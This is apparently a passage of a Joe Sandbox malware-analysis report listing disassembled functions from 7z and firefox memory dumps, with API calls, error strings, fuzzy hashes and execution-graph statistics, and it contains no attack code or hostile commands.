                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ErrorLastfree
                                                                                                                                                                                                                                                                    • String ID: :
                                                                                                                                                                                                                                                                    • API String ID: 683690243-3653984579
                                                                                                                                                                                                                                                                    • Opcode ID: 1d734c85eae23fbcb1e4ec01ba814ee0be7dcc1032459b4f19753e9f254f36c4
                                                                                                                                                                                                                                                                    • Instruction ID: 5feac886057c1f21ec3df6b533fc443583f2d03c04a2ef02b9d7a4c139a09eeb
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1d734c85eae23fbcb1e4ec01ba814ee0be7dcc1032459b4f19753e9f254f36c4
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B601A176D001049BCB05FBA8D806AEDBBB5AF54325F104059F901A7292DF309A88E7A4
                                                                                                                                                                                                                                                                    Function 00C7CF40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    • Can not open encrypted archive. Wrong password?, xrefs: 00C7CF53
                                                                                                                                                                                                                                                                    • Can not open the file as archive, xrefs: 00C7CF8B
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs
                                                                                                                                                                                                                                                                    • String ID: Can not open encrypted archive. Wrong password?$Can not open the file as archive
                                                                                                                                                                                                                                                                    • API String ID: 1795875747-2399861261
                                                                                                                                                                                                                                                                    • Opcode ID: 7756109369723afc404b29687e2772e563bcfffa483c338f2731e8bd683247e5
                                                                                                                                                                                                                                                                    • Instruction ID: 1827b6b954447b5738642623e80ce32db17df9d918c6a112e312b0f1cf3a84c3
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7756109369723afc404b29687e2772e563bcfffa483c338f2731e8bd683247e5
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5C01A2353042005BCA18A7A984D9B6EB397AFC8701F18841EF90683681DB71E855AB15
                                                                                                                                                                                                                                                                    Function 00C6353D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C63542
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prologfree
                                                                                                                                                                                                                                                                    • String ID: (LP)$x86
                                                                                                                                                                                                                                                                    • API String ID: 1978129608-2684919170
                                                                                                                                                                                                                                                                    • Opcode ID: f99ed9e541f4df667a834f581b4c10cf3ae9cd0c6c74c218ae210cf8bdcdf560
                                                                                                                                                                                                                                                                    • Instruction ID: 782975acfa4856fa91674b4e6309a64b67398e2145ef44f2af092b9c81e0550e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f99ed9e541f4df667a834f581b4c10cf3ae9cd0c6c74c218ae210cf8bdcdf560
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4701D6719102859BCF15FBA4C856BED7BB4AF45729F000119E413631D2DF704B89E748
                                                                                                                                                                                                                                                                    Function 00C7CB98 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs
                                                                                                                                                                                                                                                                    • String ID: =
                                                                                                                                                                                                                                                                    • API String ID: 1795875747-2525689732
                                                                                                                                                                                                                                                                    • Opcode ID: ccaf9185d39c08caf16386547740615c9b3bf33f4a32fad6b71d543630b743f0
                                                                                                                                                                                                                                                                    • Instruction ID: c25754d364191d2a5968ad8690b1ad369ad0f643c195d32c7f4730c34120090f
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ccaf9185d39c08caf16386547740615c9b3bf33f4a32fad6b71d543630b743f0
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: ABE0D875A0011567DB00ABD89C45C7E3B39FBC0750744086AF90197250FB30D915CBD5
                                                                                                                                                                                                                                                                    Function 00C5CA2C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • OpenEventW.KERNEL32(00000002,00000000,00000002,Unsupported Map data size,00000002,?,00C5C9E8,?,?,00000000,?), ref: 00C5CA3D
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,00C5C9E8,?,?,00000000,?), ref: 00C5CA4A
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    • Unsupported Map data size, xrefs: 00C5CA30
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorEventLastOpen
                                                                                                                                                                                                                                                                    • String ID: Unsupported Map data size
                                                                                                                                                                                                                                                                    • API String ID: 330508107-1172413320
                                                                                                                                                                                                                                                                    • Opcode ID: 7053b34e0159cac50cedcbf5f5a350815488a86958a4f512770ce30aac2e8f76
                                                                                                                                                                                                                                                                    • Instruction ID: cb2ec3c6d31e83bcf6c7b055d60e83fb7f2b7eb30fd9e4fb94ffe59570664e55
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7053b34e0159cac50cedcbf5f5a350815488a86958a4f512770ce30aac2e8f76
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 11E06531501204AFEB10EF50DD0779D7BACDF00759F100059A80191091EB705F48A758
                                                                                                                                                                                                                                                                    Function 00C8131E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$fputc
                                                                                                                                                                                                                                                                    • String ID: @F:v
                                                                                                                                                                                                                                                                    • API String ID: 1185151155-1384676387
                                                                                                                                                                                                                                                                    • Opcode ID: 41b4e06027a153ed1dc3697c41d5b4a23969132fd8a76a10b43d2018d79274c8
                                                                                                                                                                                                                                                                    • Instruction ID: d6e63a4fffcc3a96270abb30eda2832eb77d3ee662401749306a3f4db8f3fb29
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 41b4e06027a153ed1dc3697c41d5b4a23969132fd8a76a10b43d2018d79274c8
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BCD05B3270111467C7253B996C85E5E739DEFC5F1531D041AFD4067621CA719C525BE4
                                                                                                                                                                                                                                                                    Function 00C81034 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs
                                                                                                                                                                                                                                                                    • String ID: F:v$Unsupported Windows version
                                                                                                                                                                                                                                                                    • API String ID: 1795875747-3363257888
                                                                                                                                                                                                                                                                    • Opcode ID: 3da1ce0890a8a12b13197c2221026fa322853d9dd38f77b7ef1ebabea82a8aa7
                                                                                                                                                                                                                                                                    • Instruction ID: 08757b8993c8af162bf70a0873c0928aa2b935c96cb7632298798ae460e399dd
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3da1ce0890a8a12b13197c2221026fa322853d9dd38f77b7ef1ebabea82a8aa7
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0AD0C773654140EFD7099BC9F45AB9C77A4F748B65F104467E102D5590DB7154019B14
                                                                                                                                                                                                                                                                    Function 00C7289F Relevance: 5.1, APIs: 4, Instructions: 58COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8CD78,00000010), ref: 00C728B5
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C448,00000010), ref: 00C728C9
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C428,00000010), ref: 00C728E7
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C388,00000010), ref: 00C72905
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
                                                                                                                                                                                                                                                                    • Opcode ID: fd40194c32c192795ae74a353948e5ba98f63fc6513dbf729060036d61ef962c
                                                                                                                                                                                                                                                                    • Instruction ID: ee3e906c22383e420e33b8215fd2dc49e84886a486b7fe75394b7f321b709f10
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: fd40194c32c192795ae74a353948e5ba98f63fc6513dbf729060036d61ef962c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4611083238030567D7146E15CC42FB973E45BA4B14F04C438FD59EF282F6B5EA50A3A5
                                                                                                                                                                                                                                                                    Function 00C5DA8F Relevance: 5.1, APIs: 4, Instructions: 58COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8CD78,00000010), ref: 00C5DAA5
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C458,00000010), ref: 00C5DAB9
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C388,00000010), ref: 00C5DAD7
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C368,00000010), ref: 00C5DAF5
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
                                                                                                                                                                                                                                                                    • Opcode ID: bcccd8f4965efaea87294195b6006dae3acba88596f597ae97bf75bddf0afa5b
                                                                                                                                                                                                                                                                    • Instruction ID: 39d7cddadc4fc6c95573ec21a6b3324b27f96d9df86734c21ebec82e59ee29c4
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bcccd8f4965efaea87294195b6006dae3acba88596f597ae97bf75bddf0afa5b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5211083538030567CB246E10CC42FBA73E55B65B15F058428FD56AF281F6B0EA94A79C
                                                                                                                                                                                                                                                                    Function 00C71B10 Relevance: 5.1, APIs: 4, Instructions: 57COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8CD78,00000010), ref: 00C71B26
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C478,00000010), ref: 00C71B41
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C448,00000010), ref: 00C71B55
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
                                                                                                                                                                                                                                                                    • Opcode ID: 044c1a406079f9183947e09d69adbe80ae42dc828ff8f93b490fb62737692d2b
                                                                                                                                                                                                                                                                    • Instruction ID: 354fac6c2955b10b77f3e45ef28a5bbe2535e6f40d61c54e8c7952f5402125c1
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 044c1a406079f9183947e09d69adbe80ae42dc828ff8f93b490fb62737692d2b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B201DB7138030567C7146E29CC42FB973E49B65B14F08C538FD89EE281F274EA516794
                                                                                                                                                                                                                                                                    Function 00C7FF2F Relevance: 5.1, APIs: 4, Instructions: 57COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8CD78,00000010), ref: 00C7FF45
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C268,00000010), ref: 00C7FF60
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C258,00000010), ref: 00C7FF74
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
                                                                                                                                                                                                                                                                    • Opcode ID: 857ba96553a8bde4b67ec536a17a27458acc420ba4f6c56a7fe8835f0b4b6e67
                                                                                                                                                                                                                                                                    • Instruction ID: 4423679aae13566be783e2a34bb4e1e9008e6a509e9e6fcdc5ee6c3d4c3e91ad
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 857ba96553a8bde4b67ec536a17a27458acc420ba4f6c56a7fe8835f0b4b6e67
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F201083138030967C7146F65CC82FB973D49B66B04F04C43CFD99AB282F6B0E611A794

                                                                                                                                                                                                                                                                    Execution Graph

                                                                                                                                                                                                                                                                    Execution Coverage:0.4%
                                                                                                                                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                                    Signature Coverage:100%
                                                                                                                                                                                                                                                                    Total number of Nodes:6
                                                                                                                                                                                                                                                                    Total number of Limit Nodes:0
                                                                                                                                                                                                                                                                    execution_graph 5006 184c7d42377 5007 184c7d42387 NtQuerySystemInformation 5006->5007 5008 184c7d42324 5007->5008 5009 184c7e6ac72 5010 184c7e6acc9 NtQuerySystemInformation 5009->5010 5011 184c7e69044 5009->5011 5010->5011

                                                                                                                                                                                                                                                                    Callgraph

                                                                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                                                                    Function 00000184C7E6AC72 Relevance: 26.1, APIs: 1, Strings: 10, Instructions: 6826nativeCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000016.00000002.3344197353.00000184C7E68000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000184C7E68000, based on PE: false
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_22_2_184c7e68000_firefox.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: InformationQuerySystem
                                                                                                                                                                                                                                                                    • String ID: #$#$#$4$>$>$>$A$z$z
                                                                                                                                                                                                                                                                    • API String ID: 3562636166-3072146587
                                                                                                                                                                                                                                                                    • Opcode ID: a7beeb6ed6d4bd1c13836e24e4a4bf8602c8d7752103ee20adf8d6ea9f6b849f
                                                                                                                                                                                                                                                                    • Instruction ID: 94162f22afe10bae4ca93e860e22d89918f7e2a2817cc9dc1b5bbd30e644cbc9
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a7beeb6ed6d4bd1c13836e24e4a4bf8602c8d7752103ee20adf8d6ea9f6b849f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 24A3B431618A4D8BDB2DDF1CDC856E977E9FB98700F14422ED94AC7295DF34EA028B81
                                                                                                                                                                                                                                                                    Function 00000184C7D42377 Relevance: 8.4, APIs: 1, Instructions: 6852nativeCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000016.00000002.3343061979.00000184C7D40000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000184C7D40000, based on PE: false
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_22_2_184c7d40000_firefox.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: InformationQuerySystem
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3562636166-0
                                                                                                                                                                                                                                                                    • Opcode ID: a3d4a310f25344abd1978f5247c9d082b9ccbb3eaa73dfa71153365510a96fee
                                                                                                                                                                                                                                                                    • Instruction ID: 6e946e4113321fdd1ad4b3adb864d6d0e475dd6005eff479d8b85e86c24c22cd
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a3d4a310f25344abd1978f5247c9d082b9ccbb3eaa73dfa71153365510a96fee
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E9A3B031654A498BDB2DDF2CDC856E977E9FB95300F14822EE94BC7251DF30EA428B81
                                                                                                                                                                                                                                                                    Function 00000184C7D4A946 Relevance: .1, Instructions: 142COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 2852 184c7d4a946-184c7d4aa03 2854 184c7d4aa07-184c7d4aa09 2852->2854 2855 184c7d4aa0b-184c7d4aa42 2854->2855 2856 184c7d4aa5f-184c7d4aa91 2854->2856 2855->2856
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000016.00000002.3343061979.00000184C7D4A000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000184C7D4A000, based on PE: false
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_22_2_184c7d4a000_firefox.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                    • Opcode ID: 1296acb138dfa7b1944692e8af5f51865e98548d6727a18c10ddc98cfaa754eb
                                                                                                                                                                                                                                                                    • Instruction ID: 5456b035bae26afc167ca391e3b7ceff2d042c391179b9ed7539cfe0e0b4959e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1296acb138dfa7b1944692e8af5f51865e98548d6727a18c10ddc98cfaa754eb
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0721A13150DB8D4FD746DF28C854B96BBE0FB9A310F1546AFE099C3292EB34D9458782